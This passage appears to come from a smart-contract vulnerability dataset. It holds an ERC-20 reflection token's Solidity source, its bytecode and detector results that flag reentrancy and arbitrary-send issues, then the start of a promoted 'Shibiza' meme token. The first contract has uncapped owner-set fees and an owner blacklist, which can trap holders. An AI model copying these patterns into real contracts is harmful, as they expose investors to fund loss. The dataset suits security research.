function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function seFee(uint256 amountBuy, uint256 amountSell,uint256 amountRefBuy, uint256 amountRefSell,uint256 amount) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
_burnFee = amount;
}
} | 0x6080604052600436106101dc5760003560e01c806370a08231116101025780638f9a55c011610095578063afee16f211610064578063afee16f21461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b80638f9a55c0146104e557806395d89b41146104fb5780639e78fb4f14610529578063a9059cbb1461053e57600080fd5b80637c519ffb116100d15780637c519ffb1461047c5780637d1db4a514610491578063881dce60146104a75780638da5cb5b146104c757600080fd5b806370a0823114610411578063715018a61461043157806374010ece14610446578063790ca4131461046657600080fd5b806328bb665a1161017a57806349bd5a5e1161014957806349bd5a5e1461039c5780635d098b38146103bc5780636d8aa8f8146103dc5780636fc3eaec146103fc57600080fd5b806328bb665a146103285780632fd689e31461034a578063313ce5671461036057806333251a0b1461037c57600080fd5b80631694505e116101b65780631694505e1461029557806318160ddd146102cd57806323b872dd146102f257806327c8f8351461031257600080fd5b806306fdde03146101e8578063095ea7b31461022c5780630f3a325f1461025c57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50604080518082019091526009815268576f6a616b20496e7560b81b60208201525b6040516102239190611eb1565b60405180910390f35b34801561023857600080fd5b5061024c610247366004611d43565b610604565b6040519015158152602001610223565b34801561026857600080fd5b5061024c610277366004611c8f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102a157600080fd5b506016546102b5906001600160a01b031681565b6040516001600160a01b039091168152602001610223565b3480156102d957600080fd5b50670de0b6b3a76400005b604051908152602001610223565b3480156102fe57600080fd5b5061024c61030d366004611d02565b61061b565b34801561031e57600080fd5b506102b561dead81565b34801561033457600080fd5b50610348610343366004611d6f565b610684565b005b34801561035657600080fd5b506102e4601a5481565b34801561036c57600080fd5b5060405160098152602001610223565b34801561038857600080fd5b50610348610397366004611c8f565b610723565b3480156103a857600080fd5b506017546102b5906001600160a01b031681565b3480156103c857600080fd5b506103486103d7366004611c8f565b610792565b3480156103e857600080fd5b506103486103f7366004611e3b565b6107ec565b34801561040857600080fd5b50610348610834565b34801561041d57600080fd5b506102e461042c366004611c8f565b61085e565b34801561043d57600080fd5b50610348610880565b34801561045257600080fd5b50610348610461366004611e5d565b6108f4565b34801561047257600080fd5b506102e4600a5481565b34801561048857600080fd5b50610348610923565b34801561049d57600080fd5b506102e460185481565b3480156104b357600080fd5b506103486104c2366004611e5d565b61097d565b3480156104d357600080fd5b506000546001600160a01b03166102b5565b3480156104f157600080fd5b506102e460195481565b34801561050757600080fd5b50604080518082019091526005815264574f4a414b60d81b6020820152610216565b34801561053557600080fd5b506103486109f9565b34801561054a57600080fd5b5061024c610559366004611d43565b610bde565b34801561056a57600080fd5b50610348610579366004611e76565b610beb565b34801561058a57600080fd5b506102e4610599366004611cc9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506103486105df366004611e5d565b610c2c565b3480156105f057600080fd5b506103486105ff366004611c8f565b610c6a565b6000610611338484610d54565b5060015b92915050565b6000610628848484610e78565b61067a8433610675856040518060600160405280602881526020016120b6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611524565b610d54565b5060019392505050565b6000546001600160a01b031633146106b75760405162461bcd60e51b81526004016106ae90611f06565b60405180910390fd5b60005b815181101561071f576001600960008484815181106106db576106db612074565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061071781612043565b9150506106ba565b5050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b81526004016106ae90611f06565b6001600160a01b03811660009081526009602052604090205460ff161561078f576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6015546001600160a01b0316336001600160a01b0316146107b257600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016106ae90611f06565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461085457600080fd5b4761078f8161155e565b6001600160a01b03811660009081526002602052604081205461061590611598565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016106ae90611f06565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461091e5760405162461bcd60e51b81526004016106ae90611f06565b601855565b6000546001600160a01b0316331461094d5760405162461bcd60e51b81526004016106ae90611f06565b601754600160a01b900460ff161561096457600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b03161461099d57600080fd5b6109a63061085e565b81111580156109b55750600081115b6109f05760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106ae565b61078f8161161c565b6000546001600160a01b03163314610a235760405162461bcd60e51b81526004016106ae90611f06565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610a8357600080fd5b505afa158015610a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abb9190611cac565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0357600080fd5b505afa158015610b17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3b9190611cac565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bbb9190611cac565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610611338484610e78565b6000546001600160a01b03163314610c155760405162461bcd60e51b81526004016106ae90611f06565b600c94909455600e92909255600b55600d55601155565b6000546001600160a01b03163314610c565760405162461bcd60e51b81526004016106ae90611f06565b601954811015610c6557600080fd5b601955565b6000546001600160a01b03163314610c945760405162461bcd60e51b81526004016106ae90611f06565b6001600160a01b038116610cf95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ae565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610db65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ae565b6001600160a01b038216610e175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ae565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610edc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ae565b6001600160a01b038216610f3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ae565b60008111610fa05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ae565b6001600160a01b03821660009081526009602052604090205460ff1615610fd95760405162461bcd60e51b81526004016106ae90611f3b565b6001600160a01b03831660009081526009602052604090205460ff16156110125760405162461bcd60e51b81526004016106ae90611f3b565b3360009081526009602052604090205460ff16156110425760405162461bcd60e51b81526004016106ae90611f3b565b6000546001600160a01b0384811691161480159061106e57506000546001600160a01b03838116911614155b156113ce57601754600160a01b900460ff166110cc5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106ae565b6017546001600160a01b0383811691161480156110f757506016546001600160a01b03848116911614155b156111a9576001600160a01b038216301480159061111e57506001600160a01b0383163014155b801561113857506015546001600160a01b03838116911614155b801561115257506015546001600160a01b03848116911614155b156111a9576018548111156111a95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ae565b6017546001600160a01b038381169116148015906111d557506015546001600160a01b03838116911614155b80156111ea57506001600160a01b0382163014155b801561120157506001600160a01b03821661dead14155b156112c8576018548111156112585760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ae565b601954816112658461085e565b61126f9190611fd3565b106112c85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ae565b60006112d33061085e565b601a5490915081118080156112f25750601754600160a81b900460ff16155b801561130c57506017546001600160a01b03868116911614155b80156113215750601754600160b01b900460ff165b801561134657506001600160a01b03851660009081526006602052604090205460ff16155b801561136b57506001600160a01b03841660009081526006602052604090205460ff16155b156113cb57601154600090156113a65761139b6064611395601154866117a590919063ffffffff16565b90611824565b90506113a681611866565b6113b86113b3828561202c565b61161c565b4780156113c8576113c84761155e565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061141057506001600160a01b03831660009081526006602052604090205460ff165b8061144257506017546001600160a01b0385811691161480159061144257506017546001600160a01b03848116911614155b1561144f57506000611512565b6017546001600160a01b03858116911614801561147a57506016546001600160a01b03848116911614155b156114d5576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114d5576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561150057506016546001600160a01b03858116911614155b1561151257600d54600f55600e546010555b61151e84848484611873565b50505050565b600081848411156115485760405162461bcd60e51b81526004016106ae9190611eb1565b506000611555848661202c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561071f573d6000803e3d6000fd5b60006007548211156115ff5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ae565b60006116096118a7565b90506116158382611824565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166457611664612074565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116b857600080fd5b505afa1580156116cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f09190611cac565b8160018151811061170357611703612074565b6001600160a01b0392831660209182029290920101526016546117299130911684610d54565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611762908590600090869030904290600401611f62565b600060405180830381600087803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117b457506000610615565b60006117c0838561200d565b9050826117cd8583611feb565b146116155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ae565b600061161583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118ca565b61078f3061dead83610e78565b80611880576118806118f8565b61188b84848461193d565b8061151e5761151e601254600f55601354601055601454601155565b60008060006118b4611a34565b90925090506118c38282611824565b9250505090565b600081836118eb5760405162461bcd60e51b81526004016106ae9190611eb1565b5060006115558486611feb565b600f541580156119085750601054155b80156119145750601154155b1561191b57565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061194f87611a74565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119819087611ad1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119b09086611b13565b6001600160a01b0389166000908152600260205260409020556119d281611b72565b6119dc8483611bbc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a2191815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611a4f8282611824565b821015611a6b57505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611a918a600f54601054611be0565b9250925092506000611aa16118a7565b90506000806000611ab48e878787611c2f565b919e509c509a509598509396509194505050505091939550919395565b600061161583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611524565b600080611b208385611fd3565b9050838110156116155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ae565b6000611b7c6118a7565b90506000611b8a83836117a5565b30600090815260026020526040902054909150611ba79082611b13565b30600090815260026020526040902055505050565b600754611bc99083611ad1565b600755600854611bd99082611b13565b6008555050565b6000808080611bf4606461139589896117a5565b90506000611c0760646113958a896117a5565b90506000611c1f82611c198b86611ad1565b90611ad1565b9992985090965090945050505050565b6000808080611c3e88866117a5565b90506000611c4c88876117a5565b90506000611c5a88886117a5565b90506000611c6c82611c198686611ad1565b939b939a50919850919650505050505050565b8035611c8a816120a0565b919050565b600060208284031215611ca157600080fd5b8135611615816120a0565b600060208284031215611cbe57600080fd5b8151611615816120a0565b60008060408385031215611cdc57600080fd5b8235611ce7816120a0565b91506020830135611cf7816120a0565b809150509250929050565b600080600060608486031215611d1757600080fd5b8335611d22816120a0565b92506020840135611d32816120a0565b929592945050506040919091013590565b60008060408385031215611d5657600080fd5b8235611d61816120a0565b946020939093013593505050565b60006020808385031215611d8257600080fd5b823567ffffffffffffffff80821115611d9a57600080fd5b818501915085601f830112611dae57600080fd5b813581811115611dc057611dc061208a565b8060051b604051601f19603f83011681018181108582111715611de557611de561208a565b604052828152858101935084860182860187018a1015611e0457600080fd5b600095505b83861015611e2e57611e1a81611c7f565b855260019590950194938601938601611e09565b5098975050505050505050565b600060208284031215611e4d57600080fd5b8135801515811461161557600080fd5b600060208284031215611e6f57600080fd5b5035919050565b600080600080600060a08688031215611e8e57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b81811015611ede57858101830151858201604001528201611ec2565b81811115611ef0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fb25784516001600160a01b031683529383019391830191600101611f8d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fe657611fe661205e565b500190565b60008261200857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120275761202761205e565b500290565b60008282101561203e5761203e61205e565b500390565b60006000198214156120575761205761205e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461078f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec4093d57b7e5025d0b5e4d8ae7eb8478f0204f6d3058aa3570c3febe176996064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 860 |
0x0d3cb6575510e9344a888177f4d98f6739ad2e46 | /**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
/*
The Shibiza is ready for the Fun,
Nft will be minted and distributed to the Holders of Shibiza Community,
which gives private access to the DJ FUN on Ibiza $$$$$
Telegram: https://t.me/shibizaportal
100% STEALTH LAUNCH
Initial LP: 3 ETH
Max Buy : 2.5% or 25,000,000,000
Total Supply : 1,000,000,000,000
Tax : 12%
2% Reflections
6% Big Callers are coming 👀
4% Buy Competitions
SLippage: 12% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract shibizaerc is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shibiza";
string private constant _symbol = "Shibiza";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xAbF619B6597FaC4f8D49204bdb5fbcDddc201371);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
